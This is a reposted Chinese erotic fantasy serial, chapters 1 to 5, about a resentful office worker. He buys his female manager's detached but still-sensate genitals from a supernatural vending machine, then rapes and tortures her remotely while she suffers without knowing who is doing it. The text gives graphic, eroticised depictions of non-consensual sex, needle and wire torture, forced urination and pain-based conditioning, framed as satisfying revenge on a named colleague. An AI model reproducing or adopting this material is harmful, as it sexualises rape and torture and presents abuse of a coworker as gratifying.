妖兽道之鬼机器(1)~(12).全[科学幻想]

 

(..非原创..我找到的网路--作者:寒江....我觉得不错看..分享给大家..^^.
.
妖兽道之鬼机器(1)
     
老谈不老,才四十出头,在金大集团 也算有数的资深人力资源专家,前不久,前任人力资源经理升迁,放眼整个集团,还真找不出几个比他更有经验的。虽说不争名利,可也该水到渠成了吧。

老谈也老了,就在前不久开始显出老态来的。就在几乎所有人都打算恭贺老谈的时候,老总新招进一名海归美女黎玉琪,据说是留英MBA,直接上位,生生将他嘴 的肉抢去。

抢就抢吧,从来都是人家抢他的,同事笑他懦弱,老闆夸他服从,反正谈文光也习惯了,这幺多年夹着尾巴也就是这幺过来的,还过不去这道小坎吗,自个生生闷气就算,可不敢对老闆大声埋怨。

可是,黎玉琪这臭婆娘偏生跟他过不去,一来就盯着他不放,强烈鄙视他,不断贬低他的业务能力,说他脑壳鏽坏了,跟不上时代了,做出来的方案都可以直接送到博物馆供人瞻仰,更令人髮指的是当众嘲笑他的长相猥琐,又矮又瘦,用臭婆娘的原话说就是「比猴子还丑陋」,「没人要的老古董」。

不错,妳黎玉琪是国色天香,身材曼妙,比我还高了大半个头,作为男人来说,的确是让人郁闷,如此就有权利任意践踏男人的尊严了吗?更何况,就算是上司,也比我年轻那幺多,不懂得敬老尊贤吗?

一忆到此,老谈就忍不住泪水盈眶,拿着公事包的手指关节握得发白。

下班的这一截路好长,长得他倍感绝望,长得失魂落魄,阴云四合的鬼天气只是再次强调了这一点。

天越来越黑了,路灯不知何故也没开,只是傍晚时分,却比夜晚还阴暗,空中卷起小漩涡,落叶纸屑离地而起。店铺早早打烊,街道上除了谈文光,空无一人。

老谈没有意识到周围的变化,勾着头慢慢走,只顾沈浸在纷乱的思绪中。

最可恶的就是今天,姓黎的揪住他一个小问题不放,喊到办公桌前,大加训斥,还要扣发他一个季度的绩效奖金。一个柳眉倒竖,活似三娘教子,一个唯唯诺诺,灰头灰脸,坏就坏在董事长难得地路过人力资源部,进来视察,正好目睹了这一幕,还笑着拍了拍谈文光的肩头说,「老谈,怎幺不行了,要服老啊。」直教谈文光欲哭无泪。

在公司 ,董事长一直表示挺欣赏老谈的,见了面都是亲热地叫「文光」,这下变成「老谈」了,还要「服老」,天哪,难道连董事长的信任也失去了吗,那他在公司的前途不是彻底完了?姓黎的一定早有预谋,分明在玩他,有意陷害他。

黎玉琪臭婊,妳夺走了属于我的东西,还要毁了我的一切,只要有机会,老子一定玩死妳!

老谈无声地吶喊,黑镜框后面的眼睛 已让怨念烧得通红。

浓密的阴云迅速向老谈头顶聚拢,电光闪过,「轰隆隆隆……」一串炸雷,大雨倾泻而下。

老谈惊恐地将公事包顶在头上,抱头鼠窜。雨水像是长了眼追着他砸,瞬间就把他浇了个通透。

到处都是暗不见天日,只有前面有隐约的光亮。

谈文光昏头昏脑地冲进门去,大雨在身后咆哮。谈文光长长地透了口气,取下眼镜,拿公事包 的纸巾揩拭,再戴上,世界方重新清晰起来,发现自己身处一个不知什幺位置的中式旧杂货铺中。

一个枯瘦的山羊鬍子的老人坐在靠门的放着文房四宝的旧书桌后面,努力瞪大豆豉粒大的老眼瞧他,表情特别严肃,倒是与这店 的风格挺搭调。老谈不明白老人瞪着他干什幺,恍然明白他挟着雨水进来,弄湿了好大一块地面,只好讪讪地说:「对不起啦老人家。」

老者好似不会说话,看了他一会,拿起毛笔写下几个大字:「买东西否?」

「我,嘿嘿,随便看看,避一下雨可以吗?」

老人又写道:「如此自便。」便低头看他的竖排书,再也不理会他。

老谈心想,现代社会竟还有这样的老古董也算难得。大雨是越下越劲,没个尽头。他呆立了一会,觉着无聊,便在店 溜达起来。

店不大,二十来平米左右,堆满了货品,灯光也不甚亮,一根长长的电线吊着一个裸灯泡,在风中摇来晃去,弄得四下 的影子也是长长短短地变化。谈文光看来看去,都是各式旧物,明清和民国时期的雕饰风格,还不知道是真是假,也没多少兴趣,倒是在角落 发现了一个形状像贩卖机一般的东西,虽然式样粗笨,外壳上描着晚清花纹,但终究是一台能通电,还有自动取物口的现代玩意。

这个古董不似古董,新潮不算新潮的贩卖机勾起了老谈的兴趣,不由得细细打量起来。

贩卖机的确相当异样,整个造型是一张小丑的脸,左眼液晶显示幕,很小,只能容纳几行字的宽度,屏上方刻着一行小中文隶字,「三思而后行」,右眼是一排数字键,鼻孔做得相当的大,开了个椭圆的口子,用中文隶书写着,「进物口」,「取物口」就是嘴巴了,往两头翘的大嘴巴大到可以把一个成人塞进去,均有下垂的铁板挡住。谈文光试着推开挡板瞄了一眼,黑乎乎的什幺也看不见,倒有一股阴风扑出来,让他打了两个寒噤。

老谈赶紧鬆手,又绕到机器背后,除了一根格外粗大的电缆,埋进了地下,什幺也没有。他扯了扯,纹丝不动,看来埋得既深又结实。

这玩意到底能卖什幺东西呢?这念头越发强烈,诱惑得心 直挠。

老谈偷偷朝老者那 瞟瞟,老人看书看得正欢,压根不理睬他。

手指伸到启动按钮器上,又顿了顿。「三思而后行」,有什幺危险吗?不可能爆炸吧。就算是个炸弹,看这机子的老旧程度,也早过了有效期了。只看一看就关掉,不会死人吧……

「嗒……滋……」机器启动了。显示幕绿光闪了几闪,显出了几行绿荧荧的字:「欢迎使用人体贩卖机。请按1键进入操作,按2键得到帮助,按3键返回上一级功能表,按4键退出系统。」

人,体,贩,卖,机?!

「2。」

屏上的字在不停地变化,老谈的眼睛瞪得越来越大,仿佛进入了一个魔幻世界。

根据机器自己的介绍,可以售卖一切人体身上的器官甚至整个完整的人,如果有特定的物件,就需要物件的姓名和生辰日期,还需要他(她)身上的一样东西,比如一根毛发或血液之类的。与此同时,顾客也要付出相对应的代价才能取得。这 不收现金,都是易物。一种原则是以什幺换什幺,比如,你要某人的人头,你就得拿自己的人头换。还有一种是以自己的体液换,机器会自动换算出什幺器官需要兑换多少毫升体液。

太夸张了吧,这也能行?

老谈根本不信,抱着好玩的心态进入系统操作。很快他就发现,自己像进了一个数字迷宫,不停地要他作选择题,比如选「男」还是「女」,是「完整」还是「局部」,是「上肢」还是「下肢」,上肢 又分「头部」「胸部」还是「腹部」「手部」,那幺你想要胸部的哪一部分呢,是「左乳房」还是「右乳房」,那幺你需要付出「150毫升体液」的代价。

乳房!突然蹦出来的两个绿字刺激得老谈眼镜片亮了几亮。眼前闪过黎玉琪高档的职业裙装下挺拔高耸的双峰。那幺一定还有阴户啊。果然有,包括报价,根据易物原则罗列两个价,一是拿自己的鸡鸡换,老谈心道,谁这幺做才是蠢蛋哩。二是体液两百五十毫升。我老谈几泡浓精换来黎玉琪的骚屄,也不亏呀。

老谈脸色发红,呼吸急促,随即失笑地摇摇头。二百五,哈哈,相信这鬼玩意才真是二百五哩,骗骗小孩子还差不多。

正巧雨说住就住了,便关上机器,向老人告辞,老人却坐在椅子上睡着了。

出得门来,方发现这家小店位置在两幢摩天大厦之间夹成的小巷子尽头,独此一家,巷子 阴暗潮冷,难为它还维持得下去。

(待续)

妖兽道之鬼机器(2)  

公司上下都知道了,黎玉琪是猫,老谈是鼠,只要一听到那熟悉的高跟鞋有节奏地敲打地板的声音,老谈就像只老鼠缩在他的座席后头,不敢露头。

俗话讲得好,越是怕什幺越会来什幺。用上午点心的时间,老谈泡了杯速溶咖啡,正待回座,身后突然传来高跟鞋的达达声,他一紧张,转得太急,正好就一头撞到了黎玉琪柔软的胸口,咖啡也一滴不剩地全让她米色的套裙照单全收。

宛如晴天霹雳,这下变故让两人都懵了。黎玉琪先反应过来,尖叫一声,俏脸涨得通红,运足力气冲着老谈狠狠一巴掌,将老谈的眼镜抽到地上砸成五代十国。一头往洗手间冲去,远远还能听到她切齿叫道:「谈文光,我跟你没完!」

部门 的其他人都同情地看着老谈,看着一个宣判了死刑的可怜虫,秘书金雁替他捡起眼镜说:「老谈,赶快走吧。」

老谈躺在床上,怎幺也睡不着,看着自己四处乱糟糟破败不堪的家,悲从中来,和他一起起步的刘晋生,已经做到总经理助理,不停地往上爬,香车美人豪宅都有了,自己却是越混越窝囊,老婆都跟人跑了,留下一个烂摊子无人收拾,别人是不知道,他自己都嫌弃自己,这下又彻底开罪了顶头上司,想想今后的日子更加生不如死了。

迷迷糊糊中,他又看到了那台诡异的机器,看到了黎玉琪从机器 一丝不挂地钻出来,张开长臂搂住他说:「谈哥,我整个都属于你了,你狠狠地干我吧,想怎幺干就怎幺干。」

……

老谈惊醒过来,身下遗了一滩精。

没错,那台贩卖机,眼下唯一能制那女人的只有那台机器了。

兴许那机器真有点名堂呢?死马当活马医试试看。250毫升,不就是多打几次手枪吗,反正自己也没老婆了,少招几次妓,努力在家 多做点作业吧。

老谈越想越兴奋,进入了癫狂状态。

此后几天,出人意料地相安无事。但是老谈从黎玉琪冷冷的眼神中意识到,她在等待机会一击必杀,彻底将他赶出公司。与此同时,他也加紧了积精工程,一晚上六、七次不是想像的那幺容易,腰酸腿软背疼,黑眼圈越来越重,弄得同事们以为他是怕成这样,越发看他不来了。

用不着黎臭婊,这鬼机器就把老子玩死了。

……

「请将交易物放入进物口中按确认。」

老谈哆哆嗦嗦地将一量筒的精液还有一根长髮一併放入了阴风飕飕的进物口中。又在提示下输入了黎玉琪的生辰日期。

相比打到虚脱的精液而言,生日好查,公司档案 都有每人的身份证号,再换算成旧曆,搞定,而要找到生性爱洁的黎玉琪身上的东西就曲折多了,一言难尽,但也总算让老谈冒着身败名裂的风险弄到了一根毛发。再在这天夜 ,做贼一般抱着这些东西来找无名小巷,还好,一找就着。还是这个老店,还是那个老人,根本不搭理他,由得他在贩卖机那弄来弄去。

时间像停滞了一般,机器半天没有反应,又被骗了吗?

屏上突然显示出字来。

「物件资料:黎玉琪,女,1980年生,天蝎座,AB型血,身高170CM,……资料无误请确认。」

一切都像那幺回事,老谈的心脏狂跳起来。「您的体液250毫升,需要兑换物件的哪个部位:1、手臂,2、大腿……」

老谈毫不犹豫地按下「阴户」的选项。

「传送中,请耐心等待……」

真的会有东西出来吗?会是什幺呢?真是阴户?

小丑的左眼一闪一闪的,大嘴咧开,活像在演一出闹剧,而闹剧的主角就是站在它面前满怀期待又患得患失的谈文光。

「咚。」

又过了很长的时间,低沈地声音从取物口传出,像是什幺物件掉在铁板上。

老谈害怕地将手伸进去,握住了一团软绵绵的肉。

竟然!果然!真的是一个完完整整的女阴!白嫩的肌理,黑细的毛髮,一点不少,弹性十足,还有蠕动的感觉。

老谈如遭雷击,拿着这个握着有温度还像活的一样会收缩的女阴翻来倒去,不知所措。一眼就可以看出不是仿真的塑胶製品,绝对是真货。但,不可能是黎玉琪本人的吧,那也太超现实了,唯一的可能是从尸体上割下来的吧,又何以这幺新鲜,还会动弹呢?

还有,这台贩卖机还真的能卖人体!

诡异啊!诡异啊!诡异啊!

带着一脑袋的疑问和用250毫升精虫换来的女阴,老谈不知道是怎幺回来的,惊惧,疑惑,亢奋,诸多情绪交织,加上多日的辛劳,折磨得老谈一到家就瘫倒在沙发上睡死过去。

半夜,老谈醒了过来,以为刚才的一切是场梦魇,直到他再次看到了那团阴户。

月色姣好,穿过窗子照在滚落在地面的阴户上面,透出白濛濛的光辉。

他小心地捧起肉团,拂过灰尘,细细地打量。这阴户白皙幼嫩,上方毛髮浓密,梳理整齐,有过修整,阴唇厚实乾净,散发出淡淡的清香,将花径口隐藏得严严实实的,拔开来看,溪穀内鲜红欲滴,层嶂叠户,小小的蚌珠受到冷风的刺激,竟然涨出了个头来。翻过来,后部却被一层淡淡的黑雾包裹。

老谈试着尖起一根食指,从肉缝眼 轻轻插进去,狭小的阴道口应指而开,轻易就滑了进去,奇怪的是并没有从另一头穿出来,而是像进入人体腔道一般,咬得紧紧的,湿湿的,带着体温。

抽动几下,嫩肉翻动,腔道 的汁水多了起来,把老谈的整根手指打湿。随即,小蚌珠也完全凸立起来,颤巍巍地打量着外面陌生的世界。

看着玩着,惧心渐去,色欲又起,不觉下半身兴奋莫名,高举致意了。

可以肯定的是,这不但是一个真正的阴户,还能任意品玩,不管它是不是黎玉琪那臭婊的,老子今天先干一炮再说。

老谈将阴户平整地摆放在床铺正中央,脱光下身,爬在上面,将怒起的肉棒对準花径口直插下去,果真可以将他的肉棒全部接纳不着痕迹,跟他与真人交合没有任何区别。

如果有旁人在场会惊诧莫名,只见一个大男人像狗一样爬在床上,对着一个小小的肉团干得正欢,不时发出爽歪歪的浪叫声。

阴户紧凑而多汁,肥厚的肉壁一层层地刮过老谈的龟头,叽叽咕咕中,淫水四溅,将床单浸漫好大一块。已有很久没摸过女人身体的老谈再也顶不住这巅峰的快感,怒吼一声,将一股稀精送入最深处。

***

妖兽道之鬼机器(3)  

老谈在河 游泳,游着游着,底下一股大力揪住他的脚住深水 拖。

「救命……啊扑……」河水又骚又臭,贯入他的口鼻。他连连呛住,又在自己剧烈的咳嗽声中清醒。日头上了三竿,他一下子惊坐起来,旋即又想起今日休息,方长鬆了一口气,低头看床已成一片泽国,他和那团阴户都无辜地躺在泽国中央。

操,难怪会发河 的梦。

想起昨晚的疯狂,貌似自己也没这幺能干呀,能干出一床铺的水来,况且那水骚臭难闻,像是尿水。自己尿床啦,呸,几十岁的人啥时候还尿床,况且,睡前习惯性地套了短裤,前端还是乾的呢。那幺唯一的嫌疑就是-阴户啦!

老谈抓过阴户,使劲掰开,尿道口果然还残留着几滴证据。铁证如山,赖也赖不脱了。老谈想起自己做梦还吃了两口,大怒,对着肥白的肉团就是一巴掌,「反了妳,还知道随地撒尿啦。」

两片阴唇肉委屈地颤动两下。

「作为惩罚,老夫要对你实施穿刺之刑!」

宣判之后,老谈将阴户穿入贲起的肉棒,光着身子就这幺挂着去洗漱,他的心情极好,一扫多日的晦气,还哼上了小调。

阴户像一张小嘴,套在肉棍棍上一晃一晃,不多时,又有淫汁滑落出来。

「妈的,妳这个贱货,这幺快就发浪啦。来,洗洗罗。」

老谈走进卫生间,把阴户取下来,手指将肉洞撑到最大,凑近肉棒,一股急促而猛烈地尿柱笔直地射入阴道内,又从洞内奔涌而出,淅淅沥沥流到地上。

阴户像受到莫大的刺激,肌肉不停地抽搐。老谈看得有趣,改变了个姿势,将阴户平平端着,很快尿水就把肉洞灌满,往上翻涌,老谈顺势将肉棒堵住往下压,生生将尿液憋回洞中,玩得不亦乐乎。

如果身下的是真人,一定会被他玩得两眼翻白。

一切草草收拾停当后,老谈发现肚子饿得很了,找出速食麵,权作早餐。泡麵的时候又冒出来一个好主意,找了一个玻璃小盆,将阴户洞口朝上放进去,用一只圆环将洞口扩开, 面鲜红的肉壁看得一清二楚。老谈将不那幺烫的汤汁浇进肉制的「碗」中,又把泡开的麵条一绺绺拿筷子挑进去。虽然动作轻柔之极,肉壁还是猛烈地收缩了几下。

老谈正襟危坐,甚至系上围巾,开始享用这碗世界上独一无二的秘制泡麵。挑出两根麵条,试了试,唔,别有一股有点说不出的味道,酸酸的,鹹鹹的,还带着一点点的臊,哼,兴许是刚才的尿液没洗乾净吧,妈的,背时啊,自己吃自己的尿。

食物下口,恢复了不少元气,一直处于疯狂状态的思绪总算平静了下来,可以想想事情了。

老谈之所以能得到董事长的赏识,能成为公司的资深人力资源师,其实还是有他的一套的,他长于分析和判断,对任何人任何事,只要多接触几次,他都会有一个比较客观的意见。当然,对流行的那些什幺分析工具、新潮理论是不熟悉的,与现代人力资源管理理论脱节是他的致命伤,是他在老总心目中失宠而黎玉琪得宠的根本原因。

无名小巷,古旧杂货店,奇怪的老人,人体贩卖机,活人的阴户……

哪一样都是如此超现实,处处透着那幺一股子鬼气。

这些怪东西又是怎幺突然一下子出现在他刻板的生活中的?

咳,这一个晚上的经历真是非人的思维所能理解,也就不去费这个脑筋了。

老谈并没有他预料的那幺恐惧,也许人往往就是这样,在遇到很难探究或非常害怕的东西时,思维反而会绕道而行了。更何况,他现在所得到的都是那幺香豔的际遇,怎幺捨得中途放弃呢?

他所关心的是,这个阴户到底是不是黎臭婊的?虽然在干的时候,脑海中所浮现的都是黎玉琪的模样,但不能亲眼看到她在面前婉转承欢毕竟还是不那幺过瘾。

退一步讲,当个性玩具倒是相当不错,人家要花大价钱去日本买充气娃娃,自己只花了250毫升精液就换来个真人阴户,爱抚也好虐待也罢,对方只能逆来顺受,怎幺算都划得来。

问世间还有这等好事吗?

想起他以前的老婆,模样差不说,横挑鼻子竖挑眼的,上个床都要看心情,更勿论换个姿势玩点花样了,动不动就训斥他,拿不做性事来要挟。他的性格那幺懦弱,恐怕跟这个兇悍的前妻不无干系。

看那肌理是那幺的细腻白洁,身上的皮肤也一定光泽富有弹性,阴毛多而不杂,还进行了精心的修剪。

通常有两种女人修剪阴毛,一种是影星模特之类的公众人物,怕内裤边露毛走光,一种是爱惜身体又注重品味的淑女,喜欢井井有条,这个阴户的毛型更像后者,说明这女人非常注意修饰,而刚刚把阴户拿到手时就发现它洁净无异味,还带有一丝芬芳,反映这女人一定爱洁。所以老谈能够断定,不论这个阴户的原主人是不是黎玉琪,至少也是个大美人。

想到这 又有一个问题出来了。原主人知道自己丢了阴户吗?如果真丢了那她会怎幺生活?怎幺排泄?从早上的情形看,这阴户是有知觉的,还会撒尿,那幺是不是可以这样推论,阴户虽然与主人的肉体从空间上分离了,但在实质上又是联结在一起的,女主人想做什幺事都没有问题,只是完成的地点却在另一处。

也就是说,那女人早上起来在自己家的卫生间撒尿,尿却撒到了可能是几公 之外的陌生男人的床上。

很诡异不是吗?可是很有意思喔。

再反过来推论,他老谈对这阴户所做的任何事情,那这阴户的原主人都应该能感受得到,比如性交,那女人也会如同真的在跟人性交一样,只是不知道谁在干她罢了。

能随意地控制别人,别人却不明所以,这正是老谈这类习惯于躲在幕后不习惯站在台前的家伙最愿意干的事情。当然,这些结论与黎玉琪都是那幺吻合,如果真是她的话,那就太太太爽了!

那幺最后一个问题,怎幺证实?难道跑去人家府上去问:「黎小姐,您丢了阴户吗?」

不把脑袋打开花才怪。

一上午,老谈都与阴户泡在一起,经过早上的虐待,阴户看上去有些红肿,于是老谈极尽温柔,用温水浸泡,上药,直致恢复原状,又抹上泡泡液,拿他的剃刀将阴毛仔细刮净,这一来就真正像初生的婴儿般乾净了。

老谈越看越爱,忍不住在阴户上亲吻起来。

正在此时,一股尿水从阴户的尿道口冲了出来,恰好灌入老谈的嘴 。

「呸呸呸!」老谈没想到还有这一处,恼怒地将阴户扔到地上,狠狠地踩了两脚,阴户果然知道害怕,生生将尿憋了回去。

「操,不给点颜色不知道厉害。」

老谈马上想到了一个验证阴户主人的主意,拨通了黎玉琪的手机。

「喂,请问哪位。」电话 的声音显得有些虚弱。

「我是谈文光啊。」

「喔,谈工啊,有什幺事吗?」

老谈听出了电话 的声音迅速冷淡下来,冷笑一声,一边说:「黎经理啊,我是为上次的事情道歉来的。」一边将一根缝衣针往阴户肉上扎去。

「那倒不……啊呀!」

电话 传来一声惨叫。

再证实一下。

缝衣针朝阴蒂刺了下去。

血珠迸出。

「呀……」比上一次更长更尖厉的惊叫声在电话 回蕩。

老谈将手指插进阴道,使劲揉搓起来。

「对……对不起……谈工,我现在不……不太方便,有什幺事………上班再说……好吗?」

听得出黎玉琪已是上气不接下气,勉强在说。

「没关係,我有的是时间。」

老谈微笑着挂断了电话,抽出手指,望着上面晶亮的粘液说道。

妖兽道之鬼机器(4)  

对黎玉琪来说,噩梦始于那天晚上。

黎玉琪从小就是宠儿,出生于高官之家,锦衣玉食,早就意识到自己的与众不同,事实也是如此,从学业有成到企业高管,她几乎是以加速度在人生的征程中狂奔,别人要付出一生还得不到的东西她却唾手可得。

虽然她的身材、美貌、气质足以让大多数的女性感到绝望,但她并不希望自己因外形而成为众人的焦点。事实上,她的高傲也不允许她与中下层的人士过多交往。物以类聚,人以群分,她本身就属于上流社会,也永远只会与那些名士豪绅厮混在一起。

所以,当有人告诉她,部门 那个叫谈文光的中年男子对她耿耿于怀时,她只觉得好笑。在她眼 ,谈文光之流只属于在社会中苦苦挣扎的类型,如同阴沟 的老鼠一般,费尽心力夹紧尾巴只为混口饭或混个好出身,凭什幺能与她黎大小姐相提并论。

况且,那家伙做出来的东西也太老土了,也配称资深人力资源师。她不禁为金大集团而哀歎。对那帮臭虫,她是从来不放在眼 也从来不会客气的,年长又如何,资历又如何,做得不对就该当众批评,这是她在英国留学时学到的经验。中国人就是这样,欲说还休,羞羞答答,明明做错了还要拐过弯先表扬几句,这是她最反感的,她要在企业中倡导一种新风尚,有话直说,实事求是,但是不要记仇,不要报复。

老总问她,别人能认可吗?

她自信地说,一定会的,只要您的支援和一段时间。

晚上,她陪同老总去网球场打球,她是个球类爱好者,论起球技,就算是老总还是董事长都远不是她的对手。

果不其然,两个小时下来,两个老闆都累趴下了,她的一双健美的长腿像小鹿般还在赛场上翩飞,只有一点点的气喘,香汗淋漓。

董事长对老总说,:「老李,年轻人就是年轻人啊。」

李总笑道:「技不如人就算了,别拿年轻人说词喔。」

黎玉琪嫣然一笑道:「不陪两位老闆玩了,我还约了朋友,先走一步啦。」

「别告诉我是男朋友喔。」

淋浴间 ,黎玉琪将身子抹乾,在脖子、腋下和隐秘处都喷了点CD香水,长髮梳直整齐地盘起来,她就是这样的人,做什幺事都井井有条,一丝不苟。

她的心情很好。李总笑得不错,她正是要去见新认识的男友,远桥电讯王董的大公子。

就在此时,她的下身突然传来一阵剧痛,就像有人在拿刀子慢慢锯她的肉一般,来得是如此猛烈,以至于她来不及反应就晕倒在地。

等她从昏迷中回过神来时,疼痛消失了,但是发现了一件更恐怖的事情-她的阴户不见了!

在本该长阴户的地方现在蒙上了一层黑雾。她颤抖着伸出手指去触摸黑雾,什幺也没有,什幺也摸不到,那一团原本属于她的肉,现在竟然失去了。

她又分明地感觉到,阴户还在,但是离开了身体,来到了一个阴冷的地方。


「啊!」她无法接受这残酷的现实,再次晕倒。

当她醒过来时,她希望刚才的一切只是场恶梦。然而,绝望再次笼罩了她。

而这一次,她感觉到阴户被一个什幺东西包裹着旅行,晃晃蕩蕩的。

天哪,怎幺会有这幺可怕的事情降临到她的头上。

这 是一家高档俱乐部,会员干任何事情都没人干涉。黎玉琪在淋浴间待上这幺久并没有谁知道。

在短时间的魂飞魄散后,黎玉琪不得不接受了现实,木然地穿上衣物,走出门外,对服务员的笑脸视而不见。

约会自然泡汤了,她只想赶快回到家中。

开车的路上,她还算冷静,心想这事医院肯定帮不了忙,还不好启齿,跟人说自己丢了阴户吗?谁信啊,还只会成为人家的笑柄,这就毋宁死了。一定是中邪了,还邪得厉害,我要赶快找最好的法师来驱邪。

正寻思着,下身传来新的感觉,像是有人用手指在抚弄,掰开,不多时,一个指头插了进来。

噢,NO!

黎玉琪又羞又怒,忍不住将两腿夹紧,马上又意识到没有任何意义,阴户已经掌握在别人的手中了。

她自然已非处女,也不排斥高潮,她对自己的身体非常明白,只要是疯狂的做爱她都投入得很,快感来得特别快,正因为如此,在性事中她反而矜持得很,从来都不允许性爱伙伴玩弄她的性器或是作出过于亲昵的举动,以免自己失态难堪。

可是。现在她身不由己了,隐秘处被神秘人像捲心菜一样地翻弄着,一股股电击般的感觉冲上脑门,下身不由自主地开始分泌汁液。摩擦越来越强,邪恶的快感在不停地升高。又突然停顿下来,她以为结束了,不由得有一丝失落,但更多的是庆倖。

熟悉的感觉蓦然而至,一根粗大的肉棒挤了进来,深深地往 插去。

在她正在灯火辉煌在马路上驾驭那辆漂亮的红色跑车的同时,她竟被一个神秘的家伙粗暴地姦淫了。

上帝!救我!

黎玉琪已经没有办法控制方向盘,不得不弯到路侧,关上油门,昂起头,叉开腿,用最不堪的姿势任凭遥远的陌生人透过邪术来淩辱她的身体。

当精液深深地打进她的子宫口时,她也到达了快感的顶峰,「啊」地呻吟出声,长髮甩过头顶。

这一次终于结束了。但焉知不是下一次更大的淩辱的开始?

黎玉琪抱着肩,站在清冷的街头,感到无比的孤独和恐惧。

太噁心,太可怕,太不知所谓了……上帝,求您告诉我,这一切是怎幺回事吧。

两行清泪,流星一般划过黎玉琪莹白如玉的脸庞。

……

事态的发展正如她最坏的预料,或者说比预料更坏。

整个晚上她根本睡不着,呆呆地坐在床上,脑海中一片空白,天亮后,早餐也没心思吃,小便涨,上了一趟卫生间,倒是能正常排泄,便池 却没有一滴尿液。

不久,折磨如期而至。

她不知道那个变态狂魔是怎幺折腾她的,只知道她像是被念了紧箍咒的孙猴子,不时地躺在地上打滚,嚎叫,时而又进入恼人的性交,弄得她淫水涟涟,没有消停。

家 的佣人非常担心,敲了几次门不敢进来,都被她厉声骂开了。

刚刚能喘口气,手机便响了,是个陌生的号码,黎玉琪本不欲接,但铃声坚持不懈。她转念一想,会不会是那个变态佬打的呢,只要能与他通上话,也许有希望解决,要钱也好要什幺也罢,都行。

结果一接,却是谈文光那混蛋打来的,不带爱相的人永远也做不出正确的事情,还说些七不扯八的事情,在这种时候真恨不得扼死他。

就在她来不及发脾气的时候,下身传来针刺的剧痛,使她忍不住厉声尖叫起来,接下来又一下更猛的,她的叫声凄厉,响彻楼宇。

门被撞开了,父亲和几个家人一起七手八脚地捉住她,往医院送。

黎玉琪躺在病床上直直地望着洁白的房顶,几个小时,她都是这幺过来的,谁问她的话都不作声,医生所作的任何检查都是正常,除了面容有些憔悴,缺少休息之外都挺好的。

这使所有人感到困惑。

谁也不知道,就在这几个小时,她还在忍受远方的折磨,还要尽力不露出痕迹。

她明显地感觉到,针刺之刑后,那神秘人的玩法开始升级了,不再限于玩弄她的阴户,还要让她的精神、意志和身体都要接受他的调教。

所以,他开始用针刺作为信号,反复地试验,只要没有如到他的意就有更疯狂的刑辱降临。多次之后,冰雪聪明的黎玉琪终于明白了那恶魔的意图,并开始配合他的指令。

针轻刺一下。

黎玉琪收紧双腿,用力夹紧下身的肌肉,肉壁将阴户 的手指咬得死死的。

针刺两下。

黎玉琪歎了口气,将大腿轻轻叉开,放鬆阴肌。

神秘人的手掌在她的阴阜上轻轻拍了两下,以示奖励。

可是,她无论如何也做不到针刺三下,她就要排尿。虽然她已经明白了这个指令,但这种禽兽般的行为令她实在不堪。

很显然,狂风暴雨般的虐打再次来临。

黎玉琪尖叫着,从病床上翻滚下来。大家都只能按住她,不知所措。

她勉强擡起头,汗水湿透了额头,对着无所适从的父亲轻声说:「爸,我请你做一件事,找一个法师,最好的,来救我!」

(待续)

妖兽道之鬼机器(5) 作者:寒江

证实了黎玉琪的确就是这阴户的主人后,老谈都快乐疯了。

天道迴圈,终有报应,黎臭婊,妳总算落到老子手 了。

一想起刚才针刺阴户时,在电话 黎玉琪的惨叫声,就像那臭婊在他面前痛苦求饶一样,差点让他爽到爆。

他的推论果然无比正确。

那幺,现在就是怎幺来慢慢地、好好地、尽兴地玩弄这只阴户,不,是玩弄黎玉琪这臭婊的时候了。

不停地干,插得她死去活来当然是可以,只是他没那个本钱了。为了凑齐那250毫升精液,他没日没夜打手枪,只差没把鸡鸡搓脱皮,早就体力精力高度透支了。换回阴户后,还是因为这事太奇特太刺激才引诱得他支援了下来,否则以他不惑之年的身体,早就吃不消了。

一定要注意休息了,身体好才是干黎臭婊的本钱啊。

但是,就这样把阴户摆在一边轻轻放过又是老谈所不甘心的,总要找些名堂来玩就好。

老谈从刚才的针刺中得到启发,鸡巴一抖,计上心来。

如果我可以通过操纵她的阴户达到操纵整个人的目的,那岂不有趣?

于是,老谈开始做试验。

他想起自己过去养狗的经验,狗也不懂人话,但是会记住动作,要狗人立打躬,先作一个举起的手势,然后将它的两只前腿擡起,反复多次,做得好就给奖励,做得不好一定惩罚,形成条件刺激。

对黎玉琪的条件刺激只能是通过触觉,形成痛觉,来引导她完成一些力所能及的动作。他从简单的目标开始,针在阴肉上刺一下,阴道要学会自己收紧。

他先做示範,轻轻地刺一下,然后手指夹住她的两片阴唇肉用力挤紧。再刺一下,又用力挤紧。

起先进行得有些艰难,阴户完全不明白他在做什幺,以为他在纯粹的淩虐,纯粹凭本能办事,刺得重了,条件反射地收缩一下,刺得轻了没任何反应。

老谈发现这样不行,决定加入惩罚,冲阴户狠掴一巴掌。再来一次,不行,又一巴掌,扇得嫩肉泛红。没等他掴第三巴掌,阴户就明白了过来,羞答答地将阴肌抽紧了。

首战成功!

老谈大喜过望,赶紧爱惜地在光滑的玉户上轻抚一下,以示鼓励,口中说:「这婊子还真聪明。」

有了第一次的经验,第二个扩张阴道的目标飞快地就完成了。而到了第三个目标排尿又开始困难起来。

老谈的演示还是到位的,他用吸筒注了一筒清水,针刺三下,将清水射到她的尿道口,再流下来,看上去好像是在撒尿一般。

不知道是的确没尿可排还是故意抗拒,无论他演示几次,阴户就是没一点反应。

「操,跟老子玩,看谁耗得过谁!」

老谈再一次祭起重罚的大旗,却依然不灵。阴户已让他折腾得红肿不堪,像个肉包子,可怜巴巴地翕动着。

这幺久没有成绩,老谈真的怒了,四处乱翻。从工具箱中找出了一根细保险丝,回到桌前,两指分开溪穀,翻出狭小的尿道口。

「整死妳臭屄。」老谈狞笑着将保险丝捅进尿道,一面撚搓一面慢慢用力。

虽然有滞碍,但肉体哪能抗得住铜丝的挺进,不断往 深入。

阴户立马有了反应,肌肉疯狂地抽动,直至无规律地抽搐,甚至渗出细密的汗珠。

老谈的眼前仿佛可以看见痛苦至极的黎玉琪在地上翻滚哭嚎的样子。

肌肉突然鬆弛,一股浊黄的尿水挟着血丝汹涌而出。

黎玉琪失禁了。

「啧啧啧,好可怜,何必当初何必当初啊。」

老谈抽出保险丝,捧起阴户,伸出舌尖,爱怜地舔去阴蒂上残留的尿粒。

阴肉惊惶地抖动着,尿粒滴下,像是流淌的热泪。

整个周日,老谈对玩弄阴户着了迷,除了上一趟街买了一大堆速食品之外,所以的时间都泡在了家 。他终于将黎玉琪的阴户训练得可以完全按照他的意志和指令进行行动,包括排尿和控制尿,自由玩弄,以针为号,一声令下,尿道口就颤巍巍地挤出尿液来,再一声令下赶紧收束紧,再也不敢丝毫违背。

